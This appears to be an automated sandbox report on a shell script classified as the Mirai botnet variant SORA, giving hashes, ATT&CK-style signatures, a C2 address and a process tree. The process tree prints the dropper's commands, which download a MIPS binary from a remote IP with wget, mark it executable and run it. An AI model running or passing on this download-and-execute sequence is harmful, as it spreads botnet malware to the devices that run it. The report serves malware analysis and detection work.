Analysis

  • max time kernel
    3s
  • max time network
    6s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10/09/2026, 19:13

General

  • Target
    payload.sh
  • Size 1KB
  • Sample260910-xxa7esvcmc
  • SHA256 d23bf440668ecbaf669359d6143db30af13573b271845e389c00c826b93a337f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 37.16.74.19

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/payload.sh
    /tmp/payload.sh
    1⤵
    • Executes dropped EXE
    PID:721
    • /bin/mkdir
      mkdir -p /tmp/.x
      2⤵
      • Reads runtime system information
      PID:723
    • /bin/uname
      uname -m
      2⤵
        PID:725
      • /usr/bin/wget
        wget -q -O .z http://2.27.203.59/sora.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /bin/chmod
        chmod +x .z
        2⤵
        • File and Directory Permissions Modification
        PID:748
    • /tmp/.x/.z
      ./.z cosmic
      1⤵
        PID:749

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            .z

            • Path /tmp/.x/.z
            • Size 182KB
            • SHA256 3e64858dced7a1eea58505529e3cd3183cd60697e160af45b8f44acb3469657a
            • MD5 SHA1 SHA512 SSDEEP TLSH